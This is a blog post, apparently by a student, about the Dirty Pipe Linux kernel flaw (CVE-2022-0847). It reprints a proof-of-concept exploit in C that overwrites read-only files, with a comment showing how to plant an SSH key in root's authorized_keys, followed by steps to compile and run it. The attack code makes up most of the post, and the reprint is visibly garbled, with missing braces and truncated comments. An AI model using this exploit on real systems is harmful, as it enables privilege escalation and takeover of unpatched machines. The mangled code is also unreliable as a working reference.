The Dirty Pipe Vulnerability On Linux

Hi, folks. I wanna talk about CVE-2022–0847. & it's called Dirty pipe vulnerability. This is a vulnerability in the Linux kernel since 5.8 which allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes.

Linux Dirty Pipe Vulnerability CVE-2022–0847

The vulnerability was discovered by Max Kellermann in April 2021. The bug report, exploit, and the patch was sent to the Linux kernel security team by Kellermann on February 20. The bug was reproduced on Google Pixel 6 and a bug report was sent to the Android Security Team.

He also sends mail to oss-security about the vulnerability he found.

Dirty pipe POC

This vulnerability is similar to CVE-2016–5195 “Dirty Cow” but is easier to exploit. The vulnerability was fixed in Linux 5.16.11, 5.15.25, and 5.10.102.

I don’t go deep about the vulnerability, because he did that perfectly. You can find that here

I just show you how can you exploit through this POC code…

/* SPDX-License-Identifier: GPL-2.0 */
* Copyright 2022 CM4all GmbH / IONOS SE
* author: Max Kellermann <>
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
* Further explanation:

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

* Create a pipe where all "bufs" on the pipe_inode_info ring have the
static void prepare_pipe(int p[2])
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */

int main(int argc, char **argv)
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");

/* create the pipe with all flags initialized with
int p[2];

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
if (nbytes == 0) {
fprintf(stderr, "short splice\n");

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");

printf("It worked!\n");

In your Linux system fire terminal and open nano & save the above code like dirty_pipe.c .

nano diry_pipe.c

Now make a private text file with sudo command, because with this exploit we try to change the read-only file as a nonprevilius user.

Now with gcc we compile our exploit. For this the command is…

$gcc dirty_pipe.c -o dirty_pipe

Now we try to edit the looked file with nonprevilius user. For that, we gonna do..

$./dirty_pipe private.txt 1 'your text'

That’s it for today. see you in another post.

The End.



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Sakibul Ali Khan

Sakibul Ali Khan

Currently I’m a student and I love computers. I love programming and playing with technology. I am highly interested in cyber security.